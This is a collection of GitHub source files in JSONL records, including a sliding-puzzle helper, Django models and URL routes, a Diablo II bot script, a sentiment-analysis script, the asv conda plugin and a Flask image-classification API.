+{"seq_id":"13905636438","text":"# Nama : Marcellus Michael Herman Kahari\n# NIM : 13520057\n# Kelas : K03\n\nfrom copy import deepcopy\nimport random\n\ndef readFile(file):\n    lines = []\n    with open(file) as f:\n        lines = f.readlines()\n    count = 0\n    puzzle = [[0 for i in range(4)] for j in range(4)]\n    for line in lines:\n        line = line.strip()\n        count_temp = 0\n        word = line.split(' ')\n        for w in word:\n            puzzle[count][count_temp] = int(w)\n            count_temp += 1\n        count += 1\n    return puzzle\n\ndef countDifferent(puzzle, puzzle_solution):\n    count = 0\n    for i in range(4):\n        for j in range(4):\n            if (puzzle[i][j] != puzzle_solution[i][j]):\n                count += 1\n    return count\n\ndef valueX(puzzle):\n    puzzle_16 = readFile('src/valueX.txt')\n    for i in range(4):\n        for j in range(4):\n            if puzzle[i][j] == 16:\n                return int(puzzle_16[i][j]), i, j\n\ndef countIBelowJ(puzzle, tampilkan):\n    count = 0\n    for i in range(4):\n        for j in range(4):\n            counter_tampilkan = 0\n            for k in range(4):\n                for l in range(4):\n                    if (int(puzzle[i][j]) > int(puzzle[k][l])) and ((j + 4 * i) < (k * 4 + l)):\n                        count += 1\n                        counter_tampilkan += 1\n            if(tampilkan):\n                print(4*i + j, \", kurang(\", 4*i + j,\") bernilai \", counter_tampilkan)\n    return count\n\ndef copyPuzzle(puzzle, puzzle_temp):\n    for i in range(4):\n        for j in range(4):\n            puzzle_temp[i][j] = puzzle[i][j]\n    return puzzle_temp\n\ndef generatePuzzle():\n    puzzle = [[0 for i in range(4)] for i in range(4)]\n    pembangkit_acak = random.sample(range(1, 17), 16)\n    for i in range(4):\n        for j in range(4):\n            puzzle[i][j] = pembangkit_acak[4*i + j]\n    return puzzle\n\ndef functionMove(temp, tujuan, puzzle_saver, puzzle_solution, rute, puzzle_count_node):\n    temp.historyRute = deepcopy(rute)\n    temp.setDepth(1)\n    temp.addRute(tujuan)\n    cost = temp.countCost(puzzle_solution)\n    puzzle_saver.put((cost,temp))\n    puzzle_count_node.append(temp)","repo_name":"pandora-1/Tucil3_13520057","sub_path":"src/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23991885517","text":"from django.urls import path\nfrom .views import *\n\napp_name = 'journal'\n\nurlpatterns = [\n    path('add', add_journal, name='add-journal'),\n    path('edit/<str:id>', edit_journal, name='edit-journal'),\n    path('delete/<str:id>', delete_journal, name='delete-journal'),\n    path('view/<str:id>', view_journal, name='view-journal'),\n    path('view-all', view_all_journals, name='view-all-journals'),\n    path('calendar/', default_calendar_view, name='default_calendar_view'),\n    path('calendar/<int:year>/<int:month>/', calendar_view, name='calendar_view'),\n    \n]","repo_name":"akshaykumar19002/journal_guard","sub_path":"journal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2334020488","text":"from django.db import models\n\n\nclass Storage(models.Model):\n    address = models.CharField(\n        max_length=200,\n        verbose_name='Адрес'\n    )\n\n    def __str__(self):\n        return self.address\n\n    class Meta:\n        verbose_name = 'Хранилище'\n        verbose_name_plural = 'Адрес хранилища'\n\n\nclass Box(models.Model):\n    size = models.PositiveSmallIntegerField(\n        verbose_name='Размер бокса'\n    )\n    address = models.ForeignKey(\n        Storage,\n        verbose_name='Адрес',\n        related_name='box',\n        blank=True,\n        null=True,\n        on_delete=models.CASCADE\n    )\n    is_occupied = models.BooleanField(\n        default=False\n    )\n    current_renter = models.ForeignKey(\n        'User',\n        related_name='rented_boxes',\n        verbose_name='Текущий арендатор',\n        on_delete=models.SET_NULL,\n        blank=True,\n        null=True\n    )\n\n    def __str__(self):\n        return f\"Бокс под номером {self.id} имеет размер: {self.size} м2\"\n\n    class Meta:\n        verbose_name = 'Бокс'\n        verbose_name_plural = 'Боксы'\n\n\nclass User(models.Model):\n    name = models.CharField(\n        max_length=200,\n        verbose_name='ФИО')\n    telegram_id = models.IntegerField(\n        verbose_name='Telegram ID', blank=True, null=True)\n    phonenumber = models.CharField(\n        'Номер телефона', max_length=20)\n    pd_contract = models.FileField(\n        verbose_name='Договор об использовании ПД', blank=True, null=True\n    )\n    rented_box = models.ForeignKey(\n        Box,\n        related_name='renters',\n        verbose_name='Арендованный бокс',\n        on_delete=models.SET_NULL,\n        blank=True,\n        null=True\n    )\n    lease_start_date = models.DateField(\n        verbose_name='Дата начала аренды',\n        blank=True, null=True\n    )\n    lease_end_date = models.DateField(\n        verbose_name='Дата окончания аренды',\n        blank=True, null=True\n    )\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        verbose_name = 'Пользователь'\n        verbose_name_plural = 'Пользователи'\n\n\nclass Belongings(models.Model):\n    owner = models.ForeignKey(\n        User,\n        related_name='belongings',\n        verbose_name='Кому принадлежат вещи',\n        on_delete=models.CASCADE\n    )\n    description = models.CharField(\n        max_length=200,\n        verbose_name='Cписок вещей')\n    box = models.ForeignKey(\n        Box,\n        related_name='belongings',\n        verbose_name='Бокс',\n        on_delete=models.CASCADE,\n        null=True,\n        blank=True\n    )\n\n    def __str__(self):\n        return f\"{self.owner} владеет: {self.description}\"\n\n    class Meta:\n        verbose_name = 'Вещи'\n        verbose_name_plural = 'Вещи'\n","repo_name":"Vika301296/selfstorage_bot","sub_path":"selfstorage/bot/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7112393756","text":"from D2EM import *\nfrom D2EMExtended import *\nfrom Belt import *\nimport Data\nimport Character\nfrom ItemCheck import *\nfrom Town import *\nfrom Stash import *\nfrom LifeCheck import *\nimport OnPacketUpdate\nimport OnWake_TownAPC\nimport Leech\n\n\nAttachEvent(EVT_ONWAKE, OnWake_TownAPC.OnWake_TAPC)\nAttachEvent(EVT_ONPACKETUPDATE, OnPacketUpdate.OnPacketUpdate)\n\ncharClass = {0:Character.CsAmazon,\n             3:Character.HammerPaladin,\n             5:Character.Druid,\n             6:Character.HybridSin}\n\ncharType = GetCharClass()\n\nchar = charClass[charType]()\n\ndef Init():\n    global offset, rhs, castSide, ngMsg, kbMsg, pc_delay, pc_count, tp_offset, pt_m_offset, cast_pos, mpId\n    \n    ngMsgs = (\"NG!\", \"Next Game\", \"ng\", \"Ng in 10 sec\", \"next game\")\n    kbMsgs = (\"baal\", \"Kill Baal!\", \"Baal now!\", \"kill baal\", \"Baal\", \"baal!\")\n    \n    ngMsg = ngMsgs[GetTickCount() % len(ngMsgs)]\n    kbMsg = kbMsgs[GetTickCount() % len(kbMsgs)]\n    \n    tp_offset = ((27, -10), (27, 61), (-18, -9), (-18, 60))\n    pt_bm_offset = (4, 33)\n    pt_um_offset = (6, 20)\n    offset = (0, 0)\n    pt_m_offset = (offset,)\n    rhs = 0\n    castSide = 1\n    pc_delay = 0\n    pc_count = 5\n    cast_pos = None\n    mpId = Leech.GetMasterPlayerId()\n    DLog(\"mpId %d\" % mpId)\n    \n    if charType == 0:\n        rhs = Data.LightningFury\n        #pt_m_offset = ((0, 0), pt_bm_offset, (-13, 25), (22, 25), (19, 15), (12, 3))\n        pt_m_offset = (pt_bm_offset,)\n        offset = pt_bm_offset\n        cast_pos = (15090,5024)\n        pc_delay = 1500\n        pc_count = 3\n        \n    elif charType == 3:\n        pt_m_offset = (pt_um_offset,)\n        offset = pt_um_offset\n        rhs = Data.Concentration\n        castSide = 0\n    \n    elif charType == 5:\n        pt_m_offset = (pt_bm_offset,)\n        offset = pt_bm_offset\n        \n    elif charType == 6:\n        offset = pt_bm_offset\n        pt_m_offset = (pt_bm_offset,)\n        rhs = Data.LightningSentry\n        \n    DLog(OnPacketUpdate.baal)\n\ndef GetNearbyMonsters(in_range=((),())):\n    units = []\n        \n    all_units = GetNearbyUnits(1)\n    if not all_units: return units\n\n    my_rm = GetRoom()\n            \n    for u in all_units:\n        uid = u[1]\n               \n        if not my_rm or my_rm[4] != u[4] or IsTownLevel(u[4]): continue\n                \n        life = GetLife(1, uid)\n        if not life or not IsAttackable(1, uid): continue\n        \n        if len(in_range[0]) and len(in_range[1]):\n            xRange = in_range[0]\n            yRange = in_range[1]\n            \n            u_pos = GetPos(1, uid)\n            if u_pos and not (xRange[0] <= u_pos[0] <= xRange[1]): continue\n            \n            if u_pos and not (yRange[0] <= u_pos[1] <= yRange[1]): continue\n        \n        units.append(uid)\n    \n    return units\n\ndef WaitForBaalMinions(ref_pt):\n    global offset\n    sk285 = sk286 = 0\n    minionLeaders = (\"Colenzo the Annihilator\", \"Achmel the Cursed\", \"Bartuc the Bloody\", \"Ventar the Unholy\", \"Lister the Tormentor\")\n    \n    while True:\n        my_pos = GetPos()\n        if not OnPacketUpdate.baal[\"id\"]:\n            unit = GetNearbyUnits(1, 543)\n            if unit:\n                DLog(\"Set Baal ID: 0x%X\" % (unit[0][1], ), 0)\n        \n                OnPacketUpdate.baal[\"id\"] = unit[0][1]\n        \n        else:\n            if not GetName(1, OnPacketUpdate.baal[\"id\"]) and GetDistance(my_pos[0], my_pos[1], BaalThrone[2], BaalThrone[3]) <= 45:\n                DLog(\"Baal walks into throne!\", 0)\n                break\n            \n        if sk285 != OnPacketUpdate.baal[285]:\n            sk285 = OnPacketUpdate.baal[285]\n            #if (sk285 == 1 or sk285 >= 6) and not OnPacketUpdate.barbBo : char.Precast()\n            \n            if sk285 < 6:\n                offset = pt_m_offset[GetTickCount() % len(pt_m_offset)]\n                \n            DLog(\"BaalCorpseExplode %d\" % (sk285, ), 0)\n        \n        if sk286 != OnPacketUpdate.baal[286]:\n            sk286 = OnPacketUpdate.baal[286]\n            DLog(\"BaalMonsterSpawn %d\" % (sk286, ), 0)\n            \n            if rhs:\n                if GetSkillUIdBySide(1)[0] != rhs: SelectSkill(rhs, 1)\n                \n                if cast_pos: cp = cast_pos\n                \n                else: cp = (my_pos[0], my_pos[1])\n                \n                if GetDistance(my_pos[0], my_pos[1], ref_pt[0]+offset[0], ref_pt[1]+offset[1]) <= 5: \n                    pc_tick = GetTickCount()\n                    timeout = False\n                    \n                    while (GetTickCount() - pc_tick) <= pc_delay and not timeout:\n                        if cast_pos:\n                            bmUnits = GetNearbyMonsters()\n                            if bmUnits:\n                                for bmuId in bmUnits:\n                                    if GetName(1, bmuId) in minionLeaders:\n                                        bmuPos = GetPos(1, bmuId)\n                                        if bmuPos:\n                                            DLog(\"--- Resetting CP! ---\")\n                                            cp = bmuPos\n                                            timeout = True\n                                            break\n                        \n                        Sleep(50)\n                        \n                    for i in range(0, pc_count):\n                        CastSkill(cp[0], cp[1], castSide)\n                        Sleep(500)\n                        \n            if sk286 >= 5: offset = (0, 0)\n            \n        char.Attack()\n        \n        if GetDistance(my_pos[0], my_pos[1], ref_pt[0]+offset[0], ref_pt[1]+offset[1]) > 3:\n            DLog(\"Teleport under baal minions\", 0)\n            Teleport(ref_pt[0]+offset[0], ref_pt[1]+offset[1])\n        \n        Sleep(0)\n        \ndef EnterChamber():\n    while GetMapLevelNo() != Data.TheWorldstoneChamber:\n        unit = GetNearbyUnits(2, 563)\n        if unit:\n            id = unit[0][1]\n            pos = GetPos(2, id)\n            \n            Teleport(pos[0], pos[1])\n            if IntPortal(id): break           \n            \n        Sleep(0)\n        \ndef KillBaal():\n    baal544id = False\n    \n    while 1:\n        if not baal544id:\n            unit = GetNearbyUnits(1, 544)\n            if unit: baal544id = unit[0][1]\n                \n        if baal544id and not GetLife(1, baal544id): break\n        \n        char.Attack()\n\ndef WaitForMasterTp(mpId, destLvl=131):\n    DLog(\"Waiting for master tp\", 0)\n    tpPos = None\n    while IsInTown():\n        mp_lvl = GetPlayerPosInfo(mpId)[0]\n        if mp_lvl != destLvl:\n            Sleep(500)\n            continue\n        \n        tps = GetNearbyUnits(2, BLUE_TP_CLSID)\n        if not tps:\n            #DLog(tps)\n            Sleep(500)\n            continue\n        \n        for tp in tps:\n            tpId = tp[1]\n            tpOwnerId = GetPortalOwnerId(tpId)\n            #DLog(\"TP owner ID: %d\" % tpOwnerId)\n            if tpOwnerId == mpId:\n                tpPos = GetPos(2, tpId)\n                if tpPos:\n                    Run(tpPos[0], tpPos[1])\n                    IntPortal(tpId)\n                    \n                break\n        \n        Sleep(100)\n        \n    \nGetBody()\nCursorCheck()\n\nInit()\n    \nTpToTown()\n\nShop()\nHireMerc()\nRepairAll()\nRemoteStash()\nIdentifyAll()\nRemoteStash()\nStashGold()\n\nchar.xRange = (0x3ae0, 0x3b0e)\nchar.yRange = (0x138a, 0x13e4)\n\nchar.InTownPrecast()\n\nWaitForMasterTp(mpId)\n\nchar.Precast()\n\nBaalThrone = GetStaticUnits(1, 543)[0]\nWaitForBaalMinions((BaalThrone[2],BaalThrone[3]))\nEnterChamber()\n\nchar.xRange = []\nchar.yRange = []\nchar.target = [544]\n\nKillBaal()\n\nic_tick = GetTickCount()\nwhile (GetTickCount() - ic_tick) <= 1000:\n    ItemCheck()\n    Sleep(0)\n\n    \nDLog(\"End of Script: %s\" % (\"LeechBaal\", ), 0)\n\n\n \n    ","repo_name":"michaelhuang8192/D2EM","sub_path":"Bin/script/leechbaal/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7730,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"636377467","text":"from tkinter import*\r\nimport customtkinter\r\ncustomtkinter.set_appearance_mode(\"dark\")\r\ncustomtkinter.set_default_color_theme(\"green\")\r\nroot=customtkinter.CTk() #first button\r\nroot1=customtkinter.CTk() \r\nroot.geometry(\"300x400\")\r\nroot1.geometry(\"300x400\")\r\nbutton=customtkinter.CTkButton(master=root, text=\"Select by Keyword\")\r\nbutton1=customtkinter.CTkButton(master=root1,text=\"Select by Country\")\r\nbutton.place(relx=0.45,rely=0.45, anchor=CENTER)\r\nbutton.place(relx=7,rely=7,anchor=CENTER)\r\nroot.mainloop()\r\nroot1.mainloop()","repo_name":"saltypriya/Newsify","sub_path":"Newisfy/Untitled-1.py","file_name":"Untitled-1.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2521693627","text":"# Problem Id:  763\n# Problem Name:  Partition Labels, 划分字母区间\n# Problem Url:  https://leetcode-cn.com/problems/partition-labels/\n# Problem Level:  Medium\n# Language:  Python3\n \nclass Solution:\n    def partitionLabels(self, S: str) -> List[int]:\n        ct = {}\n        for i in range(len(S)):\n            ct[S[i]] = i\n        res = []\n        start = 0\n        while start < len(S):\n            end = ct[S[start]]\n            i = start\n            while i <= end:\n                if ct[S[i]] >= end:\n                    end = ct[S[i]]\n                    i = i + 1\n                else:\n                    i = i + 1\n            res.append(end-start+1)\n            start = end + 1\n        return res\n        \n\n\n            ","repo_name":"siru-xiong/leetcode-solutions","sub_path":"solutions/0763-划分字母区间.py","file_name":"0763-划分字母区间.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36640445904","text":"import sys\r\n\r\ndef sentiment_words_input(words):\r\n  scores = {}\r\n  for line in words:\r\n    l = line.lower()\r\n    term, score = l.split(\"\\t\")\r\n    scores[term] = int(score)\r\n  return scores\r\n\r\ndef tweets_seperator(dataset):\r\n  tweets = []\r\n  for line in dataset:\r\n    l = line.lower()\r\n    tweets.append(l)\r\n  return tweets\r\n\r\ndef phase2(tweet_text,sentiment,new):\r\n  lexicon = {}\r\n  for word in new:\r\n      positive = 0\r\n      negetive = 0\r\n      total = 0\r\n      for tweet in range(0,len(tweet_text)):\r\n          line = tweet_text[tweet].split()\r\n          if word in line:\r\n              if sentiment[tweet] > 0:\r\n                  positive += 1\r\n              elif sentiment[tweet] < 0:\r\n                  negetive += 1\r\n              total += 1\r\n      lexicon[word] = (positive - negetive + 0.0)/total\r\n  f = open(\"output_lexicon.txt\", \"w\")\r\n  for n in lexicon:\r\n      f.write(str(n) + \"\\t\" + str(lexicon[n]) + \"\\n\")\r\n  f.close()\r\n\r\ndef analysis(tweet_text,scores):\r\n  symbols=['!','@','#','$','%','^','&','*','(','0','_','-','+','=','~','{','}','[',']',';',':','\"',',','<','>','.','?','/','|','\\'','\\\\','1','2','3','4','5','6','7','8','9','0']\r\n  common_words=[\"with\" ,\"at\" ,\"from\" ,\"into\" ,\"during\" ,\"including\" ,\"until\" ,\"against\" ,\"among\" ,\"throughout\" ,\"despite\" ,\"towards\" ,\"upon\" ,\r\n\"concerning\" ,\"of\" ,\"to\" ,\"in\" ,\"for\" ,\"on\" ,\"by\" ,\"about\" ,\"like\" ,\"through\" ,\"over\" ,\"before\" ,\"between\" ,\"after\" ,\"since\" ,\"without\" ,\"under\" ,\r\n\"within\" ,\"along\" ,\"following\" ,\"across\" ,\"behind\" ,\"beyond\" ,\"plus\" ,\"except\" ,\"but\" ,\"up\" ,\"out\" ,\"around\" ,\"down\" ,\"off\" ,\"above\" ,\"near\" ,\r\n \"is\" ,\"are\" ,\"am\" ,\"why\" ,\"how\" ,\"would\" ,\"should\" ,\"where\" ,\"what\" ,\"who\" ,\"when\" ,\"whom\" ,\"whose\" ,\"shall\" ,\"will\" ,\"did\" ,\"does\" ,\"do\" ,\r\n\"you\" ,\"was\" ,\"were\" ,\"have\" ,\"has\" ,\"as\" ,\"be\" ,\"can\" ,\"could\" ,\"each\" ,\"every\" ,\"get\" ,\"he\" ,\"she\" ,\"I\", \"if\" ,\"it\", \"its\" ,\"may\" ,\"me\" ,\r\n\"most\" ,\"Mr\" ,\"Mrs\" ,\"my\" ,\"oh\" ,\"ok\" ,\"once\" ,\"or\" ,\"our\" ,\"pm\" ,\"say\" ,\"so\" ,\"soon\" ,\"southern\" ,\"still\" ,\"such\" ,\"that\" ,\"this\" ,\"those\", \"them\" ,\"their\" ,\"thus\" ,\r\n\"under\" ,\"up\" ,\"us\" ,\"we\" ,\"within\" ,\"yet\"  ,\"your\" ,\"themselves\" ,\"ourselves\", \"myself\" ,\"yourself\" ,\"itself\",\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"]\r\n\r\n  sentiment_score = []\r\n  new = []\r\n  f = open(\"output_sentiment_score.txt\", \"w\")\r\n  for tweet in tweet_text:\r\n      sentiment = 0\r\n      flag = 1\r\n      parts = tweet.split()\r\n      for p in parts:\r\n          if p in common_words:\r\n              pass\r\n          elif p == 'not':\r\n            flag = -1\r\n          else:\r\n              if scores.has_key(p):\r\n                  sentiment += (scores[p] * flag)\r\n                  flag = 1\r\n              else:\r\n                  if p not in new:\r\n                      for i in p:\r\n                          if i in symbols:\r\n                              break\r\n                      else:\r\n                          new.append(p)\r\n      f.write(str(sentiment) + \"\\n\")\r\n      sentiment_score.append(int(sentiment))\r\n  f.close()\r\n  phase2(tweet_text,sentiment_score,new)\r\n\r\ndef main():\r\n  words = open(sys.argv[1])\r\n  tweets = open(sys.argv[2])\r\n\r\n  scores = {}\r\n  tweet_text = []\r\n\r\n  scores = sentiment_words_input(words)\r\n\r\n  tweet_text = tweets_seperator(tweets)\r\n\r\n  analysis(tweet_text,scores)\r\n\r\nif __name__=='__main__':\r\n  main()\r\n","repo_name":"shivang8/Twitter-Sentiment-Analysis","sub_path":"sentiment_analysis.py","file_name":"sentiment_analysis.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"12832404376","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, unicode_literals, print_function\n\nimport os\nimport tempfile\nimport subprocess\n\nimport six\n\nfrom .. import environment\nfrom ..console import log\nfrom .. import util\n\n\nWIN = (os.name == \"nt\")\n\n\nclass Conda(environment.Environment):\n    \"\"\"\n    Manage an environment using conda.\n\n    Dependencies are installed using ``conda``.  The benchmarked\n    project is installed using ``pip`` (since ``conda`` doesn't have a\n    method to install from an arbitrary ``setup.py``).\n    \"\"\"\n    tool_name = \"conda\"\n\n    def __init__(self, conf, python, requirements):\n        \"\"\"\n        Parameters\n        ----------\n        conf : Config instance\n\n        python : str\n            Version of Python.  Must be of the form \"MAJOR.MINOR\".\n\n        requirements : dict\n            Dictionary mapping a PyPI package name to a version\n            identifier string.\n        \"\"\"\n        self._python = python\n        self._requirements = requirements\n        super(Conda, self).__init__(conf, python, requirements)\n\n    @classmethod\n    def matches(self, python):\n        try:\n            conda = util.which('conda')\n        except IOError:\n            return False\n        else:\n            # This directory never gets created, since we're just\n            # doing a dry run below.  All it needs to be is something\n            # that doesn't already exist.\n            path = os.path.join(tempfile.gettempdir(), 'check')\n            # Check that the version number is valid\n            try:\n                util.check_call([\n                    conda,\n                    'create',\n                    '--yes',\n                    '-p',\n                    path,\n                    'python={0}'.format(python),\n                    '--dry-run'], display_error=False)\n            except util.ProcessError:\n                return False\n            else:\n                return True\n\n    def _setup(self):\n        try:\n            conda = util.which('conda')\n        except IOError as e:\n            raise util.UserError(str(e))\n\n        log.info(\"Creating conda environment for {0}\".format(self.name))\n        util.check_call([\n            conda,\n            'create',\n            '--yes',\n            '-p',\n            self._path,\n            '--use-index-cache',\n            'python={0}'.format(self._python),\n            'pip'])\n\n        log.info(\"Installing requirements for {0}\".format(self.name))\n        self._install_requirements(conda)\n\n    def _install_requirements(self, conda):\n        self.install('wheel')\n\n        if self._requirements:\n            # Install all the dependencies with a single conda command.\n            # This ensures we get the versions requested, or an error\n            # otherwise. It's also quicker than doing it one by one.\n            args = ['install', '-p', self._path, '--yes']\n            for key, val in six.iteritems(self._requirements):\n                if val:\n                    args.append(\"{0}={1}\".format(key, val))\n                else:\n                    args.append(key)\n\n            util.check_output([conda] + args)\n\n    def install(self, package):\n        log.info(\"Installing into {0}\".format(self.name))\n        self.run_executable('pip', ['install', package])\n\n    def uninstall(self, package):\n        log.info(\"Uninstalling from {0}\".format(self.name))\n        self.run_executable('pip', ['uninstall', '-y', package],\n                            valid_return_codes=None)\n\n    def run(self, args, **kwargs):\n        log.debug(\"Running '{0}' in {1}\".format(' '.join(args), self.name))\n        return self.run_executable('python', args, **kwargs)\n","repo_name":"pombredanne/asv","sub_path":"asv/plugins/conda.py","file_name":"conda.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"15883975341","text":"#!/usr/bin/python3\n\nimport sys, os\n\n# now that we're in directory 'tools/' we have to update sys.path\ndir_path = os.path.dirname(sys.path[0])\nsys.path.append(dir_path)\n\nfrom rom.rom import snes_to_pc, RealROM\nfrom rom.compression import Compressor\n\ninFile = sys.argv[1]\noutFile = sys.argv[2]\noutAddr = None\nif len(sys.argv) > 3:\n    outAddr = int(sys.argv[3], 16)\n    if outAddr >= 0x800000:\n        outAddr = snes_to_pc(outAddr)\n\nwith open(inFile, \"rb\") as gfx:\n    output = Compressor(\"Slow\").compress(gfx.read())\n\nif outFile is not None:\n    with open(outFile, \"a+\"): # create if does not exist\n        pass\n    outRom = RealROM(outFile)\n    if outAddr is not None:\n        outRom.seek(outAddr)\n    outRom.write(bytearray(output))\n    outRom.close()\n","repo_name":"theonlydude/RandomMetroidSolver","sub_path":"tools/compress.py","file_name":"compress.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"60"}
+{"seq_id":"40222877620","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport logging\nimport os\nimport traceback\n\nfrom flask import Blueprint, Response, jsonify, request, current_app, abort\nimport numpy as np\n\nfrom image_app.exception import FileEmptyError, InvalidMessage\nfrom image_app.models.image import Image\nfrom image_app.services import commands\nfrom image_app.services.messagebus import messagebus\nfrom image_app.settings import get_config\n\nlogger = logging.getLogger(__file__)\napi = Blueprint('api', __name__, url_prefix='/api/v1')\nconfig = get_config()\n\n\n# for debug\n@api.route('/ping', methods=['GET'])\ndef ping():  # pragma: no cover\n    return 'hello world', 200\n\n\n@api.route('/prediction/<model_type>/label/<int:label_id>', methods=['GET'])\ndef fetch_label_by_id(model_type, label_id):\n    try:\n        label_list = messagebus.handle(\n            commands.FetchLabels(model_type=model_type, label_id=label_id)\n        )\n    except InvalidMessage:\n        return {'status': 'error', 'message': 'Invalid model type'}, 400\n\n    kwargs = {\n        'status': 'success',\n        'label': label_list[0],\n    }\n    response = jsonify(**kwargs)\n    response.status_code = 200\n    return response\n\n\n@api.route('/prediction/<model_type>/labels/list', methods=['GET'])\ndef fetch_label_list(model_type):\n    try:\n        label_list = messagebus.handle(\n            commands.FetchLabels(model_type=model_type)\n        )\n    except InvalidMessage:\n        return {'status': 'error', 'message': 'Invalid model type'}, 400\n\n    kwargs = {\n        'status': 'success',\n        'labelList': label_list\n    }\n    response = jsonify(**kwargs)\n    response.status_code = 200\n    return response\n\n\ndef upload_image_file_object(img_file):\n    \"\"\"Read image file data and save to Database if valid.\n    Return error if the given file is invalid.\n    \"\"\"\n\n    if img_file:\n        try:\n            encode = messagebus.handle(commands.UploadImage(file_object=img_file))\n        except Exception as e:\n            kwargs = {\n                'status': 'error',\n                'message': 'failed to save image'\n            }\n\n            if config.DEBUG:  # pragma: no cover\n                logger.error(traceback.format_exc())\n            else:           # pragma: no cover\n                logger.error(e)\n\n            status_code = 400\n        else:\n            kwargs = {\n                'status': 'success',\n                'imgId': encode\n            }\n            status_code = 201\n\n    else:  # pragma: no cover\n        if config.DEBUG:\n            logger.error('Counld not find image')\n        kwargs = {\n            'status': 'error',\n            'message': 'failed to upload image'\n        }\n\n        status_code = 400\n\n    return kwargs, status_code\n\n\n@api.route('/upload/image', methods=['POST'])\ndef upload_image(session=None):\n    \"\"\"Upload image for prediction.\n\n    The output format is:\n        {\n            status: str\n            imgId: str\n        }\n    \"\"\"\n    img_file = request.files['file']\n    kwargs, status_code = upload_image_file_object(img_file)\n\n    response = jsonify(kwargs)\n    response.status_code = status_code\n\n    return response\n\n\ndef serialize_predict_result(item):\n    # display probability by percentage\n    prob = item[1] * 100\n    return item[0], f'{prob:.2f}'\n\n\n@api.route('/prediction/<model_type>/serve', methods=['POST'])\ndef predict_image(model_type):\n    \"\"\"Predict image from a provided file.\n\n    The output format is:\n        {\n            status: str\n            imgId: str\n            result: List\n        }\n    \"\"\"\n    img_file = request.files['file']\n    kwargs, status_code = upload_image_file_object(img_file)\n\n    if status_code == 201:\n        try:\n            model = Image.get_by_encoded_id(kwargs.get('imgId'))\n            filepath = os.path.join(config.STATIC_DIR, config.UPLOAD_DIR, model.filename)\n\n            result = messagebus.handle(\n                commands.MakePrediction(\n                    image_path=filepath,\n                    model_type=model_type,\n                    topk=3,\n                )\n            )\n\n            # convert float to percentages to display to be readable\n            result = list(map(serialize_predict_result, result))\n            kwargs['result'] = result\n\n        except Exception as e:\n            if config.DEBUG:  # pragma: no cover\n                logger.error(traceback.format_exc())\n            else:  # pragma: no cover\n                logger.error(e)\n            kwargs = {\n                'status': 'error',\n                'message': 'a problem occured during prediction'\n            }\n            status_code = 500\n\n    response = jsonify(kwargs)\n    response.status_code = status_code\n\n    return response\n\n\n@api.app_errorhandler(400)\ndef bad_request(e):\n    response = jsonify(error='400 bad request', message=str(e))\n    response.status_code = 400\n    return response\n\n\n@api.route('/<path:invalid_url>')\ndef page_not_found(invalid_url):  # pragma: no cover\n    response = jsonify(error='404 page not found')\n    response.status_code = 404\n    return response\n","repo_name":"riomat13/image-classificaion-app","sub_path":"image_app/web/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6680393209","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n    url(r'^$', views.index, name='home'),\n\n    url(r'^category/(?P<category_slug>.*)/(?P<subcategory_slug>.*)/$', views.show_subcategory, name='show_subcategory'),\n    url(r'^category/(?P<category_slug>.*)/$', views.show_category, name='category'),\n\n    url(r'^more/items/(?P<category_slug>.*)/$', views.more_items, name='more_items'),\n\n    url(r'^product/(?P<product_slug>.*)/$', views.show_product, name='product'),\n\n    url(r'^search/$', views.search_products, name='search-products'),\n\n    url(r'^auto/$', views.auto, name='auto'),\n]\n","repo_name":"MiniGunnR/pharma_aid","sub_path":"catalog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
